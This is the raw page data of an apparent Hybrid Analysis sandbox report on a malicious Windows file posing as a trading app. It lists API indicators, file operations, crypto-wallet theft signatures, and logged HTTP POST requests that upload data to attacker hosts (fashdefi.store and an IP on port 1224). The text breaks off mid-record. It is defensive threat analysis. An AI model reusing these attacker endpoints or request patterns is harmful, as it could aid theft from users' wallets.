26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 71:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T49c,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Malware.Generic Sample b2a203b93919… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample b2a203b93919…. Malware family: Malware.Generic. Threat score 100/100. 2/25 AV engines flagged this file. 11 malicious and 19 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/b2a203b9391987049ad60c826e6d7a76554f38dfc8b9ce88fea083ca1b106800","keywords":["Malicious","Malware.Generic","malware analysis","sandbox report","threat intelligence","b2a203b9391987049ad60c826e6d7a76554f38dfc8b9ce88fea083ca1b106800"],"about":{"@type":"SoftwareApplication","name":"trading-app-Windows-1.0.0.exe","applicationCategory":["peexe","executable"],"identifier":"b2a203b9391987049ad60c826e6d7a76554f38dfc8b9ce88fea083ca1b106800","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Malware.Generic","antivirusDetections":{"malicious":2,"total":25},"behavioralIndicators":{"malicious":11,"suspicious":19},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T851,Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "trading-app-Windows-1.0.0.exe") Found reference to API "SetTimer" (Indicator: "SetTimer"; File: "trading-app-Windows-1.0.0.exe") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObject"; File: "trading-app-Windows-1.0.0.exe") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObjectEx"; File: "trading-app-Windows-1.0.0.exe") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; File: "trading-app-Windows-1.0.0.exe") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; File: "trading-app-Windows-1.0.0.exe") Found reference to API "QueryPerformanceFrequency" (Indicator: "QueryPerformanceFrequency"; File: "trading-app-Windows-1.0.0.exe") Found reference to API "WaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; File: "trading-app-Windows-1.0.0.exe") Found reference to API "MsgWaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; File: "trading-app-Windows-1.0.0.exe") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp, 00000000-00004416.00000001.109475.00408000.00000002.mdmp, 00000000-00004416.00000001.109475.0041E000.00000004.mdmp, 00000000-00004416.00000001.109475.72914000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp") Found reference to API "WaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp")28:T462,Found reference to API "CreateThread" (Indicator: "CreateThread"; File: "trading-app-Windows-1.0.0.exe") file/memory contains long string with (Indicator: "VirtualAlloc"; File: "System.dll") file/memory contains long string with (Indicator: "VirtualFree"; File: "System.dll") Found reference to API "VirtualFree" (Indicator: "VirtualFree"; File: "trading-app-Windows-1.0.0.exe") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; File: "trading-app-Windows-1.0.0.exe") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp") Found reference to API "VirtualFree" (Indicator: "VirtualFree"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp, 00000000-00004416.00000001.109475.00408000.00000002.mdmp")29:T5f9,Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; File: "trading-app-Windows-1.0.0.exe") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; File: "trading-app-Windows-1.0.0.exe") file/memory contains long string with (Indicator: "FreeLibrary"; File: "System.dll") file/memory contains long string with (Indicator: "LoadLibrary"; File: "System.dll") Found reference to API "FreeLibraryAndExitThread" (Indicator: "FreeLibrary"; File: "trading-app-Windows-1.0.0.exe") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; File: "trading-app-Windows-1.0.0.exe") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; File: "trading-app-Windows-1.0.0.exe") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp, 00000000-00004416.00000001.109475.00408000.00000002.mdmp, 00000000-00004416.00000001.109475.0041E000.00000004.mdmp, 00000000-00004416.00000001.109475.72914000.00000002.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp, 00000000-00004416.00000001.109475.00408000.00000002.mdmp") Found reference to API "FreeLibraryAndExitThread" (Indicator: "FreeLibrary"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp")2a:T4b2,Found string - \\.\pipe\mojo.6124.7804.16444984069540420653; Source: "00000000-00006124-00000C57-711349452") Found string - \\.\pipe\mojo.6124.7804.9286532624032301722; Source: "00000000-00006124-00000C57-721795277") Found string - \\.\pipe\mojo.6124.7804.15719478592410128008; Source: "00000000-00006124-00000C57-730249712") Found string - \\.\pipe\mojo.6124.7804.2598634555025846736; Source: "00000000-00006124-00000C57-738822804") Found string - \\.\pipe\mojo.6124.7804.2097971912900199148; Source: "00000000-00006124-00000C57-752752084") Found string - \\.\pipe\mojo.6124.7804.12793793590908240116; Source: "00000000-00006124-00000C57-765888864") Found string - \\.\pipe\mojo.6124.7804.8434980144209155425; Source: "00000000-00006124-00000C57-779163387") Found string - \\.\pipe\mojo.6124.7804.18189121060971530312; Source: "00000000-00006124-00000C57-792500698") Found string - \\.\pipe\mojo.6124.7804.574052522979784663; Source: "00000000-00006124-00000C57-805530731") Found string - \\.\pipe\mojo.6124.7804.11138110057424455593; Source: "00000000-00006124-00000C57-818569401") Found string - \\.\pipe\mojo.6124.7804.12429193863816726128; Source: "00000000-00006124-00000C57-831126736")2b:T586,"trading-app.exe" renamed original file"C:\Users\%OSUSER%\AppData\Roaming\trading-super-deriv\Local Storage\leveldb\000001.dbtmp" to "%APPDATA%\trading-super-deriv\Local Storage\leveldb\CURRENT" "trading-app.exe" renamed original file"C:\Users\%OSUSER%\AppData\Roaming\trading-super-deriv\Code Cache\js\index-dir\temp-index" to "%APPDATA%\trading-super-deriv\Code Cache\js\index-dir\the-real-index" "trading-app.exe" renamed original file"C:\Users\%OSUSER%\AppData\Roaming\trading-super-deriv\Code Cache\wasm\index-dir\temp-index" to "%APPDATA%\trading-super-deriv\Code Cache\wasm\index-dir\the-real-index" "trading-app.exe" renamed original file"C:\Users\%OSUSER%\AppData\Roaming\trading-super-deriv\37ca5c11-b157-42d7-ad9d-f305801e2b83.tmp" to "%APPDATA%\trading-super-deriv\Local State" "trading-app.exe" renamed original file"C:\Users\%OSUSER%\AppData\Roaming\trading-super-deriv\5998fd2f-1e17-4440-8ebb-abea01e3a6b1.tmp" to "%APPDATA%\trading-super-deriv\Preferences" "trading-app.exe" renamed original file"C:\Users\%OSUSER%\AppData\Roaming\trading-super-deriv\Shared Dictionary\cache\index-dir\temp-index" to "%APPDATA%\trading-super-deriv\Shared Dictionary\cache\index-dir\the-real-index" "trading-app.exe" renamed original file"C:\Users\%OSUSER%\AppData\Roaming\trading-super-deriv\Network\06c22772-9d60-496b-91b1-de9664bf0a0e.tmp" to "%APPDATA%\trading-super-deriv\Network\Network Persistent State"2c:Tc45,Observed string: "&internal/crypto/aes" (Indicator: "&internal/crypto/aes") in Source: 00000000-00004288.00000000.110171.00254000.00000004.mdmp Observed string: "(internal/crypto/cfrg" (Indicator: "(internal/crypto/cfrg") in Source: 00000000-00004288.00000000.110171.00254000.00000004.mdmp Observed string: ",internal/crypto/cipher" (Indicator: ",internal/crypto/cipher") in Source: 00000000-00004288.00000000.110171.00254000.00000004.mdmp Observed string: "$internal/crypto/ec" (Indicator: "$internal/crypto/ec") in Source: 00000000-00004288.00000000.110171.00254000.00000004.mdmp Observed string: "(internal/crypto/hash" (Indicator: "(internal/crypto/hash") in Source: 00000000-00004288.00000000.110171.00254000.00000004.mdmp Observed string: "(internal/crypto/hkdf" (Indicator: "(internal/crypto/hkdf") in Source: 00000000-00004288.00000000.110171.00254000.00000004.mdmp Observed string: ",internal/crypto/keygen" (Indicator: ",internal/crypto/keygen") in Source: 00000000-00004288.00000000.110171.00254000.00000004.mdmp Observed string: "(internal/crypto/keys" (Indicator: "(internal/crypto/keys") in Source: 00000000-00004288.00000000.110171.00254000.00000004.mdmp Observed string: "&internal/crypto/mac" (Indicator: "&internal/crypto/mac") in Source: 00000000-00004288.00000000.110171.00254000.00000004.mdmp Observed string: ",internal/crypto/pbkdf2" (Indicator: ",internal/crypto/pbkdf2") in Source: 00000000-00004288.00000000.110171.00254000.00000004.mdmp Observed string: ",internal/crypto/random" (Indicator: ",internal/crypto/random") in Source: 00000000-00004288.00000000.110171.00254000.00000004.mdmp Observed string: "&internal/crypto/rsa" (Indicator: "&internal/crypto/rsa") in Source: 00000000-00004288.00000000.110171.00254000.00000004.mdmp Observed string: ",internal/crypto/scrypt" (Indicator: ",internal/crypto/scrypt") in Source: 00000000-00004288.00000000.110171.00254000.00000004.mdmp Observed string: "&internal/crypto/sig" (Indicator: "&internal/crypto/sig") in Source: 00000000-00004288.00000000.110171.00254000.00000004.mdmp Observed string: "(internal/crypto/util" (Indicator: "(internal/crypto/util") in Source: 00000000-00004288.00000000.110171.00254000.00000004.mdmp Observed string: ",internal/crypto/webidl" (Indicator: ",internal/crypto/webidl") in Source: 00000000-00004288.00000000.110171.00254000.00000004.mdmp Observed string: "(internal/crypto/x509" (Indicator: "(internal/crypto/x509") in Source: 00000000-00004288.00000000.110171.00254000.00000004.mdmp Observed string: "internal/crypto/certificate" (Indicator: "internal/crypto/certificate") in Source: 00000000-00004288.00000000.110171.00288000.00000004.mdmp Observed string: "internal/crypto/diffiehellman" (Indicator: "internal/crypto/diffiehellman") in Source: 00000000-00004288.00000000.110171.00288000.00000004.mdmp Observed string: "internal/crypto/hashnames" (Indicator: "internal/crypto/hashnames") in Source: 00000000-00004288.00000000.110171.00288000.00000004.mdmp Observed string: "internal/crypto/webcrypto" (Indicator: "internal/crypto/webcrypto") in Source: 00000000-00004288.00000000.110171.00288000.00000004.mdmp2d:T14ba,Contains base64 string in header "POST" in header "POST /defy/v6 HTTP/1.1Accept: application/json, text/plain, */*Content-Type: application/x-www-form-urlencodedUser-Agent: axios/1.9.0Accept-Encoding: gzip, compress, deflate, brHost: fashdefi.store:6168Connection: closeContent-Length: 0" Contains base64 string in header "/defy/v6" in header "POST /defy/v6 HTTP/1.1Accept: application/json, text/plain, */*Content-Type: application/x-www-form-urlencodedUser-Agent: axios/1.9.0Accept-Encoding: gzip, compress, deflate, brHost: fashdefi.store:6168Connection: closeContent-Length: 0" Contains base64 string in header "application/json" in header "POST /defy/v6 HTTP/1.1Accept: application/json, text/plain, */*Content-Type: application/x-www-form-urlencodedUser-Agent: axios/1.9.0Accept-Encoding: gzip, compress, deflate, brHost: fashdefi.store:6168Connection: closeContent-Length: 0" Contains base64 string in header "Type" in header "POST /defy/v6 HTTP/1.1Accept: application/json, text/plain, */*Content-Type: application/x-www-form-urlencodedUser-Agent: axios/1.9.0Accept-Encoding: gzip, compress, deflate, brHost: fashdefi.store:6168Connection: closeContent-Length: 0" Contains base64 string in header "form" in header "POST /defy/v6 HTTP/1.1Accept: application/json, text/plain, */*Content-Type: application/x-www-form-urlencodedUser-Agent: axios/1.9.0Accept-Encoding: gzip, compress, deflate, brHost: fashdefi.store:6168Connection: closeContent-Length: 0" Contains base64 string in header "Encoding" in header "POST /defy/v6 HTTP/1.1Accept: application/json, text/plain, */*Content-Type: application/x-www-form-urlencodedUser-Agent: axios/1.9.0Accept-Encoding: gzip, compress, deflate, brHost: fashdefi.store:6168Connection: closeContent-Length: 0" Contains base64 string in header "gzip" in header "POST /defy/v6 HTTP/1.1Accept: application/json, text/plain, */*Content-Type: application/x-www-form-urlencodedUser-Agent: axios/1.9.0Accept-Encoding: gzip, compress, deflate, brHost: fashdefi.store:6168Connection: closeContent-Length: 0" Contains base64 string in header "compress" in header "POST /defy/v6 HTTP/1.1Accept: application/json, text/plain, */*Content-Type: application/x-www-form-urlencodedUser-Agent: axios/1.9.0Accept-Encoding: gzip, compress, deflate, brHost: fashdefi.store:6168Connection: closeContent-Length: 0" Contains base64 string in header "fashdefi" in header "POST /defy/v6 HTTP/1.1Accept: application/json, text/plain, */*Content-Type: application/x-www-form-urlencodedUser-Agent: axios/1.9.0Accept-Encoding: gzip, compress, deflate, brHost: fashdefi.store:6168Connection: closeContent-Length: 0" Contains base64 string in header "closeContent" in header "POST /defy/v6 HTTP/1.1Accept: application/json, text/plain, */*Content-Type: application/x-www-form-urlencodedUser-Agent: axios/1.9.0Accept-Encoding: gzip, compress, deflate, brHost: fashdefi.store:6168Connection: closeContent-Length: 0" Contains base64 string in header "POST" in header "POST /uploads HTTP/1.1host: 144.172.95.226:1224content-type: multipart/form-data; boundary=--------------------------635886541481731920057384content-length: 120198Connection: close" Contains base64 string in header "/uploads" in header "POST /uploads HTTP/1.1host: 144.172.95.226:1224content-type: multipart/form-data; boundary=--------------------------635886541481731920057384content-length: 120198Connection: close" Contains base64 string in header "type" in header "POST /uploads HTTP/1.1host: 144.172.95.226:1224content-type: multipart/form-data; boundary=--------------------------635886541481731920057384content-length: 120198Connection: close" Contains base64 string in header "data" in header "POST /uploads HTTP/1.1host: 144.172.95.226:1224content-type: multipart/form-data; boundary=--------------------------635886541481731920057384content-length: 120198Connection: close" Contains base64 string in header "120198Connection" in header "POST /uploads HTTP/1.1host: 144.172.95.226:1224content-type: multipart/form-data; boundary=--------------------------635886541481731920057384content-length: 120198Connection: close" Contains base64 string in header "POST" in header "POST /uploads HTTP/1.1host: 144.172.95.226:1224content-type: multipart/form-data; boundary=--------------------------640527113356197106117959content-length: 120198Connection: close" Contains base64 string in header "/uploads" in header "POST /uploads HTTP/1.1host: 144.172.95.226:1224content-type: multipart/form-data; boundary=--------------------------640527113356197106117959content-length: 120198Connection: close" Contains base64 string in header "type" in header "POST /uploads HTTP/1.1host: 144.172.95.226:1224content-type: multipart/form-data; boundary=--------------------------640527113356197106117959content-length: 120198Connection: close" Contains base64 string in header "data" in header "POST /uploads HTTP/1.1host: 144.172.95.226:1224content-type: multipart/form-data; boundary=--------------------------640527113356197106117959content-length: 120198Connection: close" Contains base64 string in header "120198Connection" in header "POST /uploads HTTP/1.1host: 144.172.95.226:1224content-type: multipart/form-data; boundary=--------------------------640527113356197106117959content-length: 120198Connection: close"2e:T465,The analysis contains indicators for cyrpto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains CRYPTO related strings Matched sigs: Contains ability to use Cryptographic classes Matched sigs: Contains key cryptographic functions (API string) Matched sigs: Contains ability to perform encryption (API string) Matched sigs: Contains ability to perform AES/RC4 encryption (API string) Matched sigs: Contains possible references to Golang crypto modules Matched sigs: Contains ability to use Microsoft's Enhanced Cryptographic Provider Matched sigs: Contains ability to perform decryption (API string) Matched sigs: Contains reference to cryptographic keys Matched sigs: Calls an API typically used to performs encryption on the data Matched sigs: Tries to steal crypto wallet extension (file access) Matched sigs: Reads the cryptographic machine GUID Matched sigs: Imports crypto-related APIs Matched sigs: YARA signature match - AES encryption Matched sigs: HTTP requests contain Base64 strings Matched sigs: Dropped file has high entropy (likely encrypted/compressed content)2f:T465,Found string "GetCommandLineW" (Indicator: "GetCommandLine"; File: "trading-app-Windows-1.0.0.exe") file/memory contains long string with (Indicator: "GetCommandLine"; File: "nsis7z.dll") file/memory contains long string with (Indicator: "GetCommandLine"; File: "elevate.exe") file/memory contains long string with (Indicator: "GetCommandLine"; File: "StdUtils.dll") Found string "GetCommandLineA" (Indicator: "GetCommandLine"; File: "trading-app-Windows-1.0.0.exe") Found string "GetCursorPos" (Indicator: "GetCursorPos"; Source: "00000000-00006124-00000C2B-711863277") Found string "GetCommandLineA" (Indicator: "GetCommandLine"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp") Found string "GetCommandLineW" (Indicator: "GetCommandLine"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp, 00000000-00004416.00000001.109475.00408000.00000002.mdmp, 00000000-00004416.00000001.109475.0041E000.00000004.mdmp, 00000000-00004416.00000001.109475.72914000.00000002.mdmp")30:T46d,Found reference to API "FindWindowExW" (Indicator: "findwindow"; File: "trading-app-Windows-1.0.0.exe") Found reference to API "SendMessageW" (Indicator: "sendmessage"; File: "trading-app-Windows-1.0.0.exe") Found reference to API "SendMessageTimeoutW" (Indicator: "sendmessage"; File: "trading-app-Windows-1.0.0.exe") file/memory contains long string with (Indicator: "sendmessage"; File: "nsis7z.dll") Found reference to API "PostMessageW" (Indicator: "postmessage"; Source: "00000000-00006124-00000C2B-709878088") Found reference to API "EnumWindows" (Indicator: "enumwindows"; Source: "00000000-00006124-00000C2B-718358507") Found reference to API "SendMessageW" (Indicator: "sendmessage"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp, 00000000-00004416.00000001.109475.00408000.00000002.mdmp") Found reference to API "FindWindowExW" (Indicator: "findwindow"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp, 00000000-00004416.00000001.109475.00408000.00000002.mdmp")31:T3029,"trading-app-Windows-1.0.0.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f0000020000000000f30016e16d74f0edf300e8edf300f4edf3000200000080f6dc7500eef300aaec6d740200000000000000e447bd72b6ec6d74af445c6538eef3007de06d7464e06d7497445c65e447bd7205000000f09dbd720000000075e2bd7286e2bd72b8eef300802b7074cfecd511feffffff44eef300e0df6d742002bf7254eef30049d9be72c064c1722002bf7260eef30063d9be722002bf7284eef300fa9dbd72010000000100000037065977010000000b2e6e7406000000dad8be72c8eef300eecfbe72c4dcbe72e2cfbe72e6da68b3010000000100000000000000e174dad918000000c4eef30032ba5b77a068c172000000000000000000000000d8eef300 (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f0000020000000000ffff00000000e0cbf30038cf5a7784241d034cccf3000100000038241d0384241d0338241d03040000000400000000e0e775001000004cccf3000100000038241d03cd975a779c975a77f954dad9b50fde7538241d0300005a7700000000ac16f4740000000080eee4750100000000000000f8e2e7750000000004000000000000004840e675f8e2e77550ccf30080e8db74a89d1d0380e8db744cccf3000000000080e8db7400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000000000007ee31f0394e31f03 (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000000000006e26200386262003 (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff000000000000000000000000662620037a262003 (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000000000005e33200376332003 (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff000000000000000000000000363320034c332003 (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff000000000000000000000000ae3c2003c63c2003 (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff000000000000000000000000065120031e512003 (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f0000020000000000f30058bae604c000e604c06f0e7360bae60448edf30030edf300d06f0e737cbae604a74d0e730000000060bae604b74d0e73bf14bf634ebc117300000000d8371f0384edf30064edf300c06f0e7360bae6049cedf30000000000000000007cbae604a74d0e73000000008c58057400000000ff14bf63f0edf3000577dad958bae60402400080d0edf300506a5d77f56f4caefeffffffe0edf3000016157460e31e0354b01d7323875a77e1865a777577dad9000000008c58057458bae6040000000060e31e030400000000161574a8edf30058bae604b04d10740536694100000000d8371f0358bae60413e61073000008732c531d73d4edf30080eee475 (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000ececf300c590b772409cb97228edf3009f73b772020000008f73b772bf0a710f140000005822b8721500000000000000fcecf30000000000c8edf300302bb7729fd33b7dfeffffff8f73b7726676b77244edf3003cedf30048edf30058edf3005cedf30002000000020000002ee8b37260edf300d975b7720099b972f21cb8726cedf300ca15b772f21cb87278edf300ee15b772f21cb87298edf3000e11b372f21cb8720978b7720100000001000000010000006b15b772d8edf3004b17b772000000000117b7724f0a710f0100000001000000000000001800000000000000a8edf3004008000018eef300302bb7720fd73b7dfeffffffe8edf300 (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ecd5f30052435d774300000040d6f30073f6db7582d6f3005c00000000000000fdfeff7f82f8db75000000005c7dd3fdfeffffff000000000000000000000000050000003059200302000000020000000a00000020592003305920030000000087a571c388d8f300ddf3db757cd6f30000000000205920030a000000f8f3db7520592003 (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f0000020000000000200300000000e7c0d974000000004a0000009c921f0364000000f37f34d800d5f3003587e07400000000308920032a0000000840200300d5f3004c87e0745c87e074437e34d898921f033089200338cf210338cf21030000000098921f0308402003a4d8f300fd88eb74ffffffff00000000b812e6043089200338cf2103f37334d80cd9f30000000000000000000000000000000000000000000000000020cf21033089200398921f03b812e604c8d9f300a4d9f30081f1bb75b812e604e0def30070dbf300c5f1bb7500001d0398345a77101d1706d0d9f3001c60b87504000000c8d9f3005c83d074b012e604a090bf75000000000000000000000000 (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f0000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000b812e60400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ecd5f30052435d774300000040d6f30073f6db7582d6f3005c00000000000000fdfeff7f82f8db7500000000dc7ed3fdfeffffff00000000000000000000000005000000b057200302000000020000000a000000a0572003b05720030000000087a571c388d8f300ddf3db757cd6f30000000000a05720030a000000f8f3db75a0572003 (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f0000020000000000010000010000000000000001cf6d010000000000000008d5f300854ae874df87e0744b7e34d898921f033089200398921f0330892003a4cfcf741b5a01cc64d4f3000000000000000000000000008b0091bdfeffffff0000f300881adc75b31adc7598921f03084020030000000000000000b812e6048b84e07433000000f37334d80cd9f300000000000000000000000000000000000000000088cadb0110d021033089200398921f03b812e604c8d9f300a4d9f30081f1bb75b812e604e0def30070dbf300c5f1bb7500001d0398345a77500a9b07d0d9f3001c60b87504000000c8d9f3005c83d074b012e604a090bf75000000000000000000000000 (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f0000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000b812e604000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002cdff30052435d774300000080dff30073f6db75c2dff3005c00000000000000fdfeff7f82f8db7500000000846950fbfeffffff000000000000000000000000050000004876a30502000000020000000a0000003876a3054876a3050000000047ac71c3c8e1f300ddf3db75bcdff300000000003876a3050a000000f8f3db753876a305 (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff000000000000000000000000d0712c03e4712c03 (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "RtlGetVersion" with parameter 